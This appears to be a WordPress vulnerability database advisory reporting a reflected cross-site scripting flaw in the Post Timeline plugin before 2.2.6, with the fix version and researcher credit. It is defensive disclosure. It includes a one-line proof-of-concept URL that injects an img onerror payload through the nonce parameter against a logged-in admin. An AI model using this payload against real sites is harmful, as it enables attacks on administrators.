WordPress Plugin Vulnerabilities
Post Timeline < 2.2.6 - Reflected XSS
Description
The plugin does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open the URL below https://example.com/wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=<img src onerror=alert`XSS`>
Affects Plugins
Fixed in 2.2.6 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
tnt24
Submitter
tnt24
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-08-10 (about 9 months ago)
Added
2023-08-10 (about 9 months ago)
Last Updated
2023-08-10 (about 9 months ago)
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